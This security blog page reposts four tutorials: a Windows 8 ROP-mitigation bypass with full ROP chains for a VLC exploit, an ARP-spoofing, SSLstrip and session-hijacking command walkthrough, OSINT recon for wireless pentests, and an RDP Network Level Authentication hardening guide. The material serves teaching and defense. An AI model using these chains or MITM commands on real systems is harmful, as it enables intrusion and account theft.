Defeating Windows 8 ROP Mitigation

Windows 8 introduced a number of exploit mitigation features, including hardening of both the userland and kernel heaps, mitigation against kernel-mode NULL pointer dereferences, and protection against abuse of virtual function pointer tables. One feature that stood out to me appears to be designed to help mitigate exploits leveraging return-oriented programming (ROP).

Return-Oriented Programming

For those who don’t know, ROP is a generalization of the classic return-to-libc attack that involves leveraging small sequences of instructions, typically function epilogues, at known addresses to execute arbitrary code incrementally. This is achieved by controlling data pointed to by ESP, the stack pointer register, such that each ret instruction results in incrementing ESP and transferring execution to the next address chosen by the attacker.

Because finding sequences of useful instructions (known as “gadgets”) may be difficult depending on the exploitation scenario, most real ROP exploits use an initial ROP stager to create a writable and executable memory segment that a second-stage traditional shellcode can be copied into. Most frequently, VirtualProtect can be used to mark an existing executable segment writable, or VirtualAlloc can be used to create a fresh segment. Other variations also exist.

A second trait common to many ROP exploits is that the ROP payload itself often doesn’t live in the thread’s stack, due to either the nature of the vulnerability itself or limits on the attacker’s ability to introduce code into portions of the vulnerable application’s address space. Instead, it’s much more common for a ROP payload to be positioned in the heap and pivot the stack pointer into the heap, at which point the ROP payload can run.

Windows 8 ROP Mitigation

Microsoft has evidently been paying attention and noticed these two common factors. In an attempt to mitigate these types of exploits, Windows 8 implements a simple protection mechanism: every function associated with manipulating virtual memory, including the often-abused VirtualProtect and VirtualAlloc, now includes a check that the stack pointer, as contained in the trap frame, falls within the range defined by the Thread Environment Block (TEB). Code courtesy of Alex Ionescu:
 
 char __cdecl PsValidateUserStack()
    {
      char Status; // al@1
      _KTRAP_FRAME *TrapFrame; // ecx@3
      _TEB *Teb; // ecx@3
      void *.Eip; // [sp+10h] [bp-88h]@3
      unsigned int .Esp; // [sp+14h] [bp-84h]@3
      void *StackLimit; // [sp+18h] [bp-80h]@3
      void *StackBase; // [sp+1Ch] [bp-7Ch]@3
      _EXCEPTION_RECORD ExitStatus; // [sp+24h] [bp-74h]@6
      CPPEH_RECORD ms_exc; // [sp+80h] [bp-18h]@3
    
      CurrentThread = (_ETHREAD *)__readfsdword(0x124u);
      Status = LOBYTE(CurrentThread->Tcb.___u42.UserAffinity.Reserved[0]);// // PreviousMode == User
      if ( Status )
      {
        __asm { bt      dword ptr [edx+58h], 13h }  // // KernelStackResident, ReadyTransition, Alertable
        Status = _CF;
        if ( _CF != 1 )
        {
          TrapFrame = CurrentThread->Tcb.TrapFrame;
          .Esp = TrapFrame->HardwareEsp;
          .Eip = (void *)TrapFrame->Eip;
          Teb = (_TEB *)CurrentThread->Tcb.Teb;
          ms_exc.disabled = 0;
          StackLimit = Teb->DeallocationStack;
          StackBase = Teb->NtTib.StackBase;
          ms_exc.disabled = -2;
          Status = .Esp;
          if ( .Esp < (unsigned int)StackLimit || .Esp >= (unsigned int)StackBase )
          {
            memset(&ExitStatus, 0, 0x50u);
            ExitStatus.ExceptionCode = STATUS_STACK_BUFFER_OVERRUN;
            ExitStatus.ExceptionAddress = .Eip;
            ExitStatus.NumberParameters = 2;
            ExitStatus.ExceptionInformation[0] = 4;
            ExitStatus.ExceptionInformation[1] = .Esp;
            Status = DbgkForwardException(&ExitStatus, 1, 1);
            if ( !Status )
            {
              Status = DbgkForwardException(&ExitStatus, 0, 1);
              if ( !Status )
                Status = ZwTerminateProcess((HANDLE)0xFFFFFFFF, ExitStatus.ExceptionCode);
            }
          }
        }
      }
      return Status;
    }


As a result, exploits that leverage a ROP payload stored in the heap cannot return into VirtualProtect or VirtualAlloc to create a writable and executable segment. While this provides yet another hurdle for exploit writers, it’s fairly easy to bypass. Besides writing a full ROP payload that doesn’t have a second stage, which may be difficult depending on the availability of gadgets, one simple way of avoiding this protection is to give it what it wants: ensure ESP points into the current thread’s stack whenever virtual memory functions are called. In the below example, I’ll assume the attacker has access to the original stack pointer through some register, as is the case when a pivot is performed using an xchg instruction. If this isn’t the case, it may be worth investigating ways of finding the stack at runtime.

Bypassing the Mitigation

To demonstrate, let’s take the very basic ROP payload I used for a VLC exploit as an example. After triggering the vulnerability, I pivot the stack pointer into the heap using a gadget that executes the following:

    xchg esi, esp
    retn
 
 
In this case, the ESI register contains a pointer to heap data I control, so by pivoting the stack pointer into this region, I can execute my first-stage ROP payload:

rop = [
    rop_base + 0x1022,        # retn

    # Call VirtualProtect()
    rop_base + 0x2c283,        # pop eax; retn
    rop_base + 0x1212a4,        # IAT entry for VirtualProtect -> eax
    rop_base + 0x12fda,        # mov eax,DWORD PTR [eax]
    rop_base + 0x29d13,        # jmp eax

    rop_base + 0x1022,        # retn
    heap & ~0xfff,            # lpAddress
    0x60000,            # dwSize
    0x40,                # flNewProtect
    heap - 0x1000,            # lpfOldProtect

    # Enough of this ROP business...
    rop_base + 0xdace8              # push esp; retn
]
This payload pulls the address for VirtualProtect from the Import Address Table (IAT), calls it to mark the heap executable, and jumps into the newly-executable heap to run a second-stage traditional shellcode.

Because ESP points into the heap at the time of the VirtualProtect call, this exploit would fail due to the newly introduced mitigation in Windows 8. However, it’s relatively simple to adapt it to bypass this mitigation. Below is the updated ROP payload:

rop = [
    rop_base + 0x1022,        # retn

    # Write lpfOldProtect
    rop_base + 0x2c283,        # pop eax; retn
    heap - 0x1000,            # lpfOldProtect -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write flNewProtect
    rop_base + 0x2c283,        # pop eax; retn
    0x40,                # flNewProtect -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write dwSize
    rop_base + 0x2c283,        # pop eax; retn
    0x60000,            # dwSize -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write lpAddress
    rop_base + 0x2c283,        # pop eax; retn
    heap & ~0xfff,            # lpAddress -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write &Pivot
    rop_base + 0x2c283,        # pop eax; retn
    rop_base + 0x229a5,        # &pivot -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write &VirtualProtect
    rop_base + 0x2c283,        # pop eax; retn
    rop_base + 0x1212a4,        # IAT entry for VirtualProtect -> eax
    rop_base + 0x12fda,        # mov eax,DWORD PTR [eax]
    rop_base + 0x1db4f,        # mov [esi],eax; retn

    # Pivot ESP
    rop_base + 0x229a5,        # xchg esi,esp; retn;

    # Jump into shellcode
    rop_base + 0xdace8              # push esp; retn
]

This is a very crude example, but I think it demonstrates the idea just fine. I write the arguments to VirtualProtect into the original stack, stored in the ESI register, one at a time. For the address that will be returned to coming out of VirtualProtect, I place a pivot to move ESP back to the heap. Finally, to trigger the whole thing, I actually return into my pivot gadget, which will pivot ESP back to the original stack and return into VirtualProtect.

In this case, adapting the exploit added an extra 124 bytes to the payload, but that was mostly due to the fact that I was limited on gadget availability and had to resort to decrementing ESI one value at a time. It’s probably possible to optimize this example with some extra work. In other cases, I’d expect it to be possible to implement this technique with much less overhead.
READ MORE

Pivoting from the ARP attack

Pivoting from the age old ARP attack

Translating layer 2 local addresses to layer 3 globally routable addresses is the sole responsibility of the Address Resolution Protocol. ARP spoofing is a fun way to mess with your room mates, get an A in a security class at your local college, impress your tech savvy boss, take a practical approach to learning a crap ton about local area networks, or be a jerk to fellow customers at a local coffee shop.

Expanding upon Rohit Kohli’s article (link to InfoSec article), A Look at ARP, this article will cover ways to leverage an ARP spoof attack and springboard to new attack surfaces. Sniffing someone else’s traffic can allow an attacker to view and record that traffic, but how can sniffing traffic be used to further an attack? It is recommend to have a solid comprehension of Kohli’s article before reading or attempting any of the attacks described here. As always, further reading is available at your nearest Internet search bar… all problems have solutions that can be answered with enough coffee, time and googling 

Tool Chain

  •  Ettercap is a newly revived open source ARP based man-in-the-middle attack suite (with GUI available). Ettercap provides a means to expand an ARP attack with additional modules such as black hole routing, DNS spoofing, and a handful of others. This article will use the command line interface (as I have found the GUI to be buggy and crash often) without any additional modules.
  • Wireshark is the de facto GUI based network sniffing application. It places a network interface into promiscuous mode allowing the card to sniff all network frames on a LAN segment, including those not destined for the card.
  • SSLstrip is a Python script created by Moxie Marlinspike. It requires the twisted web Python module to run. The tool watches traffic for HTTPS requests and then redirects and forces the connection to run over HTTP. The script uses a Linux command line firewall called Iptables to redirect all traffic from the HTTPS port (443) to the HTTP port 80. For the script to run correctly an attacker needs IP forwarding enabled on a Linux machine and a single active Iptables rule.
  • Iptables is a packet filtering tool that can be used to create ACL or NAT rules for a Linux device. This article will use Iptables to assist SSLstrip in routing an ARP spoofed victim’s traffic through an attacking laptop.
  • Hamster/Ferret are two pieces of code written by Errata Security. These two tools work as a team to listen on a network interface for web traffic that includes HTTP cookie related headers and present them to a user for replaying
Preparing the attacking machine

IP forwarding is a Linux kernel option that enables IPv4 packet forwarding. This option is usually disabled by default and it is generally a good idea to keep this option disabled. Devices that use the packet forwarding option would include routers, firewalls, and other (network) devices that focus on packet inspection.

In the upcoming attack scenario this article will be routing victim traffic through an attacking machine. The attacking machine’s kernel will need the IP forwarding option turned on. This can be accomplished with a single command as seen below:      

echo 1 > /proc/sys/net/ipv4/ip_forward

/proc is a virtual directory created when the Linux operating system boots. It is located in memory and contains some interesting information about processes, kernel options, memory usage, device statics, and other bits and pieces the kernel needs to keep track of to properly operate (sorry, about the rant. It’s hard to talk tech without showing my love for Linux). If you want to know more about the inner workings of a Linux machine, /proc is a great directory to cd through – you’re destined to find some interesting files.

For the attack scenario described in this article to work , the following Iptables rule must be active on the attacking machine

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 53535</code>

Breaking this rule down, we have the -t option which references the NAT table (built in), it consists of three routing chains (similar to the older Ipchains tool) pre-routing, output, and post-routing. The -a option references the chain this command will use and appends (hence the a) the rule to the end of the routing rules chain. The -p option matches the protocol, in this case TCP. The –destination-port option forces the rule to match against packets that are destined for a listening port 80.

These include requests made to a web server by a browser that requests “gmail.com” or “mybanksite.com” as a URL instead of “https://gmail.com” or “https://mybanksite.com” (and how many people actually type the full https?). A web server will usually respond to these types of request with a redirect to port 443, informing the browser the request it made should be re-requested over an encrypted protocol.

Continuing along in the command, the -j option determines which action should be taken when the rule is matched by a packet. In this case the action is to REDIRECT the packet to a different port which is provided by the –to-port option. We give the –to-port option the port number that SSLstrip is listening on.

Continuing the preparation for the attack, a machine must have the SSLstrip code downloaded from Marlinspike’s home page found at http://www.thoughtcrime.org/software/sslstrip/ (the code can be wget’d directly from http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz). No compiling is needed for this tool, but Python is a system requirement to interpret Marlinspike’s scripts.

To install Python on a Debian based Linux run the following command as root
                                                                                         
 aptitude install python 

Before running SSLstrip an attacker would need to install python-twisted-web module. This is a common package in most distribution repositories. On Debain-based Linuxes (or is the proper pluralization Linuces?) run the following command to install the twisted web module
 
aptitude install python-twisted-web 

An attacker could now start SSLstrip by running the following command 

python sslstrip -k -f lock.ico -l 53535

This command runs the SSLstrip script with the options (-k) to kill and renegotiate current HTTPS connections, (-f) to use a favicon to attempt to reassure the user it is using a secure connection and (-l) to assign a listening port on the local system. A favicon image can be placed in the tab of all HTTP connections. Marlinspike has included a lock icon that might assure a victim the connection being used is secure.

For more info on Iptables or SSLstrip check out Keatron Evan’s article (link to his article on Advanced Tutorial: Man in the Middle Attack Using SSL Strip – Our Definitive Guide) on the tools.

At this point any TCP packets destined for port 80 from the attacking machine will be inspected by the Iptables rule, redirected to the SSLstrip program, and then passed onto the wire.

Download and compile the Hamster/Ferret tools by visiting http://erratasec.blogspot.com/2009/03/hamster-20-and-ferret-20.html or directly at http://www.erratasec.com/erratasec.zip. Extract the folders and compile the tools. I built them by navigating to the build/gcc4 directories and running

make

After compiling the source, both executables (for hamster and ferret) can be found in the bin directory of their respected parent directories.

The Attack

Once an attacker has the SSLstrip script running and the Iptables rule active that will redirect HTTPS to HTTP, an attacker could ARP spoof a victim machine and impersonate the victim’s default gateway. Ettercap could complete this man-in-the-middle ARP spoof attack. The following command (must be run as root) will middle any connections between two IP addresses using an ARP spoofing technique.

ettercap -Tqi wlan1 -M arp:remote /192.168.1.100/ /192.168.1.1/

This command will (-Tq) run ettercap in quiet text mode, (-i wlan1) use the wlan1 interface (-M arp:remote) ARP spoof remote connections between 192.168.1.100 and 192.168.1.1. 192.168.1.1 is intended to be the default gateway for 192.168.1.100.

Any browser requests made from 192.168.1.100 that should be over the HTTPS will be in clear text, allowing an attacker to watch all the traffic with Wireshark.

At this point any TCP packets destined for port 80 from the attacking machine will be inspected by the Iptables rule, redirected to the SSLstrip program, and then passed onto the wire, same as before. The only difference now is that the attacking machine is acting as a proxy to the victim’s machine.

This creates a scenario where a victim is sending an attacker HTTP requests and an attacker is passing the requests on as HTTPS requests to the destined server.

Pivoting from the attack

In October 2010, a Firefox plugin called Firesheep was released. Firesheep’s intention was to be used on an open WiFi network (think McDonalds or Starbucks). The Firesheep plugin would sniff for clear text HTTP session negotiations. Firesheep would then allow the user of the plugin to complete a session riding attack against a victim with the sniffed Cookies. This attack worked by presenting a real session identifier of an authenticated user of a web application to the web application’s server.

After a client initialized a TCP connection to an HTTP server, the client sends a request message to an HTTP server. The server will respond with a HTTP status code (200 OK if no errors were encountered with the clients request), the file the client requested, and additional HTTP headers. HTTP headers are a means for HTTP clients and HTTP servers to include additional control data within responses and requests.

For example, a request can include what language the response should be in or what the requesting browser version is (for compatibility purposes). A response can include headers such as when the page content expires (instructing the browser’s cache when to consider the content stale), the date the response was sent and cookies the browser should remember (a string the browser sends back to the server with each request moving forward).

HTTP headers included in responses and requests can easily be seen by opening Wireshark, assigning Wireshark the correct network interface, and browsing to a website. A web request is easier to find if you type ‘http’ in the filter dialog box to filter out everything except HTTP.


Cookies are used by web servers to keep track of browser requests. They are used because HTTP is a stateless protocol meaning it provides no method of tracking communications. Cookies can have variable expiration times, but most, if not all, web application cookies will expire when a user initiates the log off feature.

By sniffing for the Set Cookie header of an HTTP response, an attacker can copy the response and
impersonate the requesting client, thus hijacking the account. This attack can be defeat easily by adding encryption to the HTTP connection so that the Set Cookie header string is encrypted.

Fortunately, this attack scenario has a means of bypassing this security control. By stripping the encryption from the HTTP response an attacker is once again able to read the Set Cookie header string. Since the HTTP is a stateless protocol, web servers need a way to remember which connections are “signed in” to an application. Web application developers use session identifiers for this.

Sessions often use cookies so that a web browser can be closed or restarted without forcing a user’s session to end and keeping a user remained “logged in” to an application. Once a user initiates (click on) a “log out” of the application the server marks the session identifier as expired. The session identifier cannot be used after it has expired. Until a session expires, an attacker can steal a session identifier and ride off of a legitimate session, thus impersonating a legitimate user’s connection to a web application.

To fix the vulnerability Firesheep exploited, web applications force encryption on the entire communications by using the HTTPS even when a user is not logged in. By using SSLstrip and stripping the encryption of a connection, an attacker can once again ride off legitimate sessions. To start sniffing for active sessions run the hamster and ferret tools by issuing

./hamster

in one terminal and
 
./ferret -i wlan1 

in another terminal. Be sure to use the same interface used for the ARP attack, which can vary between computers and users.

Set an HTTP proxy in your browser to http://127.0.0.1:1234, then browse to http://hamster.

If you do not see the IP address of the interface you entered with the ferret command, click on “adapters” then enter your interface name. Soon targets will begin populating the left frame of this web page. Clicking on one of the links executes a session riding attack and replays a victim’s session. The tools offer their own set of instructions from the http://hamster site, seen below.


Cleaning Up

Once the attack chain is complete, remnants of the attack are left on the attacking machine. Hamster is noisy in its directory and will write a few files. Remove the active Iptables rule (and all other Iptables rules) by flushing the rule list with the command

iptables -F

Be sure to reARP the victim and its default gateway by pressing the ‘q’ key in the terminal ettercap is running. This will be sure the ARP caches of the victim and its default gateway are reset to the proper MAC addresses. Remove the HTTP proxy from your browser. Kill all running processes of hamster, ferret, SSLstrip, and Wireshark.

Credit to: infosecinstitute
                                                                                            
READ MORE

WLAN Penetration Test

OSINT and pre-game show for a on-site WLAN Penetration Test

Wireless Penetration Testing in my opinion is one of the most fun parts of Ethical Hacking. It incorporates application exploits once you are on the WLAN/LAN, web application hacking to attack router web interfaces and a lot of networking trade craft. Needless to say gaining complete control of a WLAN is a daunting task. Luckily there are ways to prepare for our attacks before we even arrive on site and most importantly many of these preparatory measures are impossible or very difficult to detect. The reason these measures are so hard for a company or person to detect is the information we gain does not need to come from the target, and when it does the target gave that information to anyone who knows where to look. The focus of this article will be on how to use Open Sources of intelligence to give us an edge in the field.

Now for those who do not know Open Source intelligence or OSINT is the art and science of using publicly available sources to collect intelligence valuable to an attacker or competitor. Now OSINT can be applied to almost any form of penetration testing and hacking in general but this article is devoted to OSINT sources that can benefit a Wireless hacker. This article will also cover a list of suggested items and tools to bring when you arrive on site.

The First source of intelligence we will cover and by far one of the most effective is SHODAN. While Google is a search engine for web sites SHODAN is a search engine for the actual computers. SHODAN works by scanning ranges of IP addresses and domains for specific services and then storing the results in a publicly available website. While it is possible to use SHODAN for free doing so limits the number of results and what services it reveals to you. How ever at the time of this article’s writing full access to SHODAN and a unlocked API key costs only 19 dollars and is well worth the cash. Now to make SHODAN work we need to give it a query, a query can be something as simple as “router” which will only show machines that SHODAN identified as a router or we can give it a HTTP(s),telnet,SSH or SIP banner and it will only show machines with that banner. Now like google there are advanced operators or “dorks” as some hackers call them. The ones most useful to a penetration tester are “net:” which when followed by an IP range will only display machines in that IP range that meet the parameters of the rest of the query and domain: which when followed by a domain name


 there is a community of SHODAN users who submit dorks they have found for specific Internet connected technologies, on of the things that SHODAN advertises is its ability to locate nuclear power plants and other SCADA systems that are connected to the Internet. Using these dorks under the Search Directory category is straight forward, click the link and then append the target’s IP range or domain to the query and if SHODAN has found machines that match that dork on that IP range or domain then relevant information on those machines will be displayed. By clicking the details link under the name of the country the machine is located in you can get a list of all services SHODAN has a record of being on that machine. Now this is all very useful for a penetration tester because it allows us to check if the target has critical network infrastructure facing the Internet. In some cases routers’ telnet and web interfaces are facing the Internet allowing for remote administration. Some times it is even possible to extract the encryption key for a network from miles away!


Now Shodan can reveal other things that are useful for a wireless penetration test as well, the Shodan search directory is stocked with a wide array of dorks to locate various IP security Cameras, many of these Cameras have web interfaces with little to no security allowing a hacker to scout a location from the comfort of their own home (although this would not be OSINT).

What is probably the most ubiquitous source of OSINT for a pen test is google’s very popular satellite image viewer Google Earth. Google earth gives us an bird’s eye view of the Physical Layout of the target’s location as well as any security measures that may be in place such as guard booths,checkpoints etc. What really makes Google Earth effective is its ability to go into street view where we can see any given location as if we where physically standing there

what makes Google earth especially useful for Wireless penetration testers is GPS coordinates in the form of a KML file can be turned into a marker on Google Earth’s map.

There exists another geographic intelligence that is by far one of the most useful for wireless exploitation: Wiggle, Wiggle is a service that allows war drivers, or people who drive around areas looking for wireless networks and recording their details to upload their findings to a central database and map which allows searching via street address, MAC address or ESSID. Wiggle is extremely useful for a Wireless penetration tester because it not only records the ESSID, or network name but its physical address and its encryption and authentication types as well. An attacker armed with this data could generate a rainbow table to crack WPA personal encryption with out having to set foot on site. Wiggle has a web interface to view its worldwide database of wifi,GSM and CDMA networks but windows and Java clients are available but require map packs of the target area to be downloaded. It should be noted that while Wiggle is free it requires registration with the site to access data.


 provide a wealth of data useful to a Wireless hacker. DNS brute forcing, or looking up possible sub domains on a network from a list of common names is the most effective way of locating servers on a particular domain. One of the most efficient and simple tools to do DNS brute force enumeration is reverseraider in the backtrack toolkit under information gathering and DNS analysis , it can quickly and efficiently carry out a DNS brute force or a Reverse DNS brute force where it checks every address in a IP range for a DNS record. Both are effective methods of locating services on a network and getting an idea of how the network is set up. Using reveseraider is simple and the screen shots below show both a DNS brute force and a brute force in reverse:



as we can see reverseraider is a simple tool, you tell it what wordlist to use with -w and the wordlist’s directory and -d and the domain you wish to enumerate or -r with the IP range you wish to scan. While many DNS servers block certain records from being accessed outside of their network many networks still leak records they should not. This is extremely useful for a wireless hacker because we can know what kind of servers they have by their name. For example if we see a server named radius.target.com we can assume they have a net logon system and possibly make use of PEAP or some other form of EAP for wireless security if they have a machine names ids.target.com or wids.target.com then we can assume they have a Intrusion Detection System and we best be on our guard when attacking this network. While some DNS enumeration tools make use of DNS Zone transfers to access DNS records that normally would not be accessable I do not recommend this for a penetration test because many IDS solutions are capable of detecting Zone transfers and alert administrators when they occur.

The Target’s website can also give us insight into how their network works. For example if we see the website is made up entirely of ASP.NET web pages and uses IIS as a web server then we can assume that it is most likely a windows shop. Also when doing reconnaissance on the Target’s web page look for information on partnerships and contracts with IT companies and security best practices. Another thing to look for is instructions on remote access and default passwords for employees as this will be useful when we actually attack the target.

Social Networking sites such as Facebook and Linkedin can offer insight into what kind of people the target hires as well as what companies they do business with. But what may be even more useful is that many IT professionals post their resume and credentials on Linkedin. This is very useful because it gives us insight into what kind of training their IT staff has and what vendors they prefer or use frequently as well as how much effort they will put into securing and monitoring their WLAN and LAN. Social networking sites such as Twitter and FourSquare can also reveal their working habits which can be used to determine an optimal time to attack. Also metadata on the images and other files they post on Social Networking sites can be used to ascertain what programs and Operating Systems they use. Social Networking sites often are a place where IT professionals vent about technical issues they have at work which can reveal information about the Target’s IT setup. Finally Social Media is a great source of email addresses and other login names and credentials as well as information that can be used to generate a wordlist.

Another source of documents pertaining to technical or organizational procedures targets may use is a website called http://www.docstoc.com/ docstoc is a repository of documents ranging from IT stratigies to legal and business practices. This is very useful especially if the pen tester is attacking a company in an industry he or she is not familiar with so he or she could “bone up” to fit in the enviornment better or to Social Engineer them better.

Earlier in the article I mentioned that metadata can be extracted from documents the target’s employees post on Social Networks there exists a tool called FOCA that not only extracts metadata from a target’s website but it makes use of many of the tools and techniques we mentioned such as shodan, the target’s website,DNS etc. how ever the goal of FOCA is not just a tool to enumerate these services but to extract and fingerprint metadata from documents on these servers.


 One of the most revealing documents a target can put on the web is a Microsoft Word .doc file, these files can contain information on the machine that they where made on such as the version of the software used to make it, Operating System version and type and even user names and sometimes passwords of the user logged on at the documents creation.


 All of which can be very useful to a wireless attacker. For example knowing what Operating system and word processor the target uses can be helpful when preparing a client side attack. And knowing the target’s windows login information is always useful. While tools like FOCA and Maltego are advertised as all-in-one tools and many penetration testers use them as such I personally have found that all-in-one tools often generate false positives, miss things or are ineffective. In my opinion dedicated tools tend to be more accurate and offer related functionality that tools like Maltego can not. How ever Maltego does have it’s uses, it is a great tool to visualize and organize data gained from other tools.


 While not a source of intelligence on 802.11 networks it is still a highly comprehensive source of intelligence on wireless frequencies registered to a organization or physical location it is called radioreference.com this website is a source of FCC registered frequencies as well as those submitted and used by HAM radio operators not only does it keep records of the frequencies and related information but allows through a web interface to listen to those frequencies. This is useful if a target’s security personnel use unencrypted radios letting an attacker monitor the target to determine when is the best time to attack the network.

To use Radioreference.com click the database button on the main page then click on the state on the map that your target is in and then the county, at this point you can scroll through all the registered frequencies in that area or click on the type of organization the target is and relevant information will be displayed. If you want to check if the target has unencrypted walkie-talkies that you can listen to on the top of that page is a tab saying Live Audio where you can see if your target is listed if it is click on the speaker icon next to its entry and a new tab will be opened where the audio on that frequency will be displayed.





Obviously the ability to listen to a target’s security force operate can reveal not only security practices but lingo which can be useful in a social engineering attack.

The last source of OSINT I will cover in this article is EDGAR, EDGAR or the Electronic Data-Gathering, Analysis, and Retrieval system is a service provided by the United States Government’s Securities and Exchange commission that makes many documents companies and governments operating in the United States publicly available. These documents can range from tax filings to quarterly reports. And can make understanding the scope of a target and the relationships it has with other companies and governments easier to understand. For a wireless attacker this is useful because he or she can infer from these documents what kind of technologies are used by the target. For example, if a company made a purchase of a large amount of surveillance equipment from a foreign company chances are they have extensive camera coverage. While EDGAR does not always help a wireless attacker it can help to give a target a quick query.

 
Now that we have enumerated services on the Target’s network, did remote reconnaissance on the technical setup of the wireless network and it’s physical location and have an idea of how the target is organized and how it’s security staff operates. It is almost time to head out and conduct the penetration test. But first we must allocate the resources we may need for the attack. One thing we may need is a server running a metasploit listener on a pre determined port as well as a netcat listener also on a pre determined port. We also may need on that server a backdoor to download onto target machine or to inject via Man In the Middle attacks on the wireless network. We may want to download up to date exploits for various routers, this can be targeted based on information we gained from our OSINT sources. We obviously will need wifi adapters that support monitor mode and packet injection. We also may need access points for honeypot attacks. We may need GPS adapters to log key areas on site. We definitely will need a white list of ESSIDs and MAC addresses of the target’s infrastructure as well as a document giving us permission to conduct the penetration test preferably signed by the target’s chief security and information technology officers. We also may need a car with a full tank of gas assuming our reconnaissance with Google earth tells us it can be useful. We also may need prepaid cell phones and SIM cards to keep in contact with the rest of the team as well as for Social Engineering attacks.

But all of these things depend on the scope of the penetration test as well as the enviornment we are attacking. As you probably can tell our OSINT sources can help us weed out what preparatory work we need to do and what resources we need to allocate. At this point you are ready to go into the field and carry out a wireless penetration test with greater efficiency then if you where to go in blind. Bellow are links to all the tools used in this article although many of them can be found in backtrack 5 R2:

  •  reverseraider: http://complemento.sourceforge.net/
  • SHODAN: http://www.shodanhq.com/
  • Maltego:http://www.paterva.com/web5/
  • http://www.informatica64.com/foca.aspx
  • Wiggle: http://wigle.net/gps/gps/main
  • Google earth: http://www.google.com/earth/index.html
  • Radioreference: http://www.radioreference.com/
  • docstoc: www.docstoc.com
  • EDGAR: http://www.sec.gov/edgar/searchedgar/companysearch.html
Work Cited
  • “Company Search.” U.S. Securities and Exchange Commission (Home Page). Web. 14 Mar. 2012. .
  • “Plotting Wifi on Maps.” Wiggle Wireless Geographic Logging Engine. Web. 14 Mar. 2012. .
  • “RadioReference.com – Scanner Frequencies and Radio Frequency Reference.” RadioReference.com. Web. 14 Mar. 2012. .
  • “SHODAN – Computer Search Engine.” SHODAN. Web. 14 Mar. 2012. .

Credit :infosecinstitute.com


READ MORE

Configuring Network Level Authentication for RDP

Recently there has been a lot of attention given to the Remote Desktop Protocol for attacker. The protocol has seen a work in 2011 that abused week passwords and  it’s features to copy files and infect other machines and now in 2012 there is a remote code execution bug in the protocol it self. Since the days of Vista and Windows 2008 Microsoft has provided a new mechanism for securing RDP connections with what they call Network Level Authentication, this uses Microsoft CredSSP Protocol to authenticate and negotiate credential type before handing off the connection to RDP Service.

CredSSP first establishes an encrypted channel between the client and the target server by using Transport Layer Security (TLS). Using the TLS connection as an encrypted channel; it does not rely on the client/server authentication services that are available in TLS but does uses it for validating identity. The CredSSP Protocol then uses the Simple and Protected Generic Security Service Application Program Interface Negotiation Mechanism (SPNEGO) Protocol Extensions to negotiate a Generic Security Services (GSS) mechanism that performs mutual authentication and GSS confidentiality services to securely bind to the TLS channel and encrypt the credentials for the target server. It should be noted that all GSS security tokens are sent over the encrypted TLS channel. This tokens can be NTL, Kerberos or PKI Authentication for SmartCards.

The graphic bellow illustrates how this is done:


Most brut force tools currently out there do not take in to account NLA, it would slow down the process even more and add another level of complexity. Since no packet will reach the RDP service until CredSSP has finished negotiation of the connection it protects the servers from DoS and exploits.

NLA is present in the latest versions of Windows, for Server:

Windows 2008
Windows 2008 R2
Windows 7
Windows Vista
On the client side:

Windows XP SP3
Windows Vista
Windows 7
Windows 2008
Windows 2008 R2
Remote Desktop Connection for Mac
NLA was introduced first with RDP 6.0 in Windows Vista and later on Windows XP SP3.

One of the biggest advantages also is that since TLS is used it will warn us if it can not validate the identity of the host we are connecting to. For this we will need a PKI infrastructure integrated with AD in our Windows environment. On a Windows 2008 environment we can install on a server the role of Active Directory Certificate Service to install a Enterprise CA accepting all defaults so it can provide Computer Certificates to the machines in the domain in an automated way using Group Policy.

Configuring a GPO for NLA

In this example I will show how to configure a GPO for issuing a Certificate to each host in the Domain and Configure NLA authentication for RDP. In a production environment you may wish to separate these or keep them in one policy depending on your AD design.

Lets start by selecting from Administrative Tools the Group Policy Management tool:
On the tool we create a New Group Policy Object:

We give this policy a Name:

Once created we edit this policy by right clicking on it an selecting Edit:

Now we select Computer Configuration/Policies/Windows Settings/Public Key Policies/Automatic Certificate Request Settings:

We now right click on Automatic Certificate Request Setting and select to create a new Automatic Certificate Request, this will request to the CA a new Computer Certificate and renew the certificate when it expires automatically.

When the wizard starts we click Next then we select Computer Certificate Template:
We click on Next and then on Finish. Now we select Computer Configuration/Policies/Windows Settings/Public Key Policies under that node we double click on Certificate Services Client – Auto-Enrollment we now select on the properties under Configuration Model we select Enable and make sure that the boxes for managing certificates in the store and for updating the certificate if the template is modified.


Now we have finished the section that will cover the certificate assignment for computers that get this GPO applied to.

For configuring RDP to use NLA we now go to Computer Configuration/Policies/Administrative Templates/Windows Components/Remote Desktop Settings/Remote Desktop Session
Host/Security

Select Require user authentication for remote connections by using Network Level Authentication and double click on it. On the properties screen select Enable and click on OK.

Now lets configure the client settings to make sure that we always select to warn in the case the host certificate con not be authenticated. We select Computer Configuration/Policies/Administrative Templates/Windows Components/Remote Desktop Settings/Remote Desktop Connection Client

We double click on Configure Authentication for Client

Select Enable and set the Option to Warn me if authentication fails
Click on OK and close the screen. Know you should have a proper policy that cam be applied, but before we apply the policy we have to give permission on the Domain Computers group in the domain the permission to apply it:
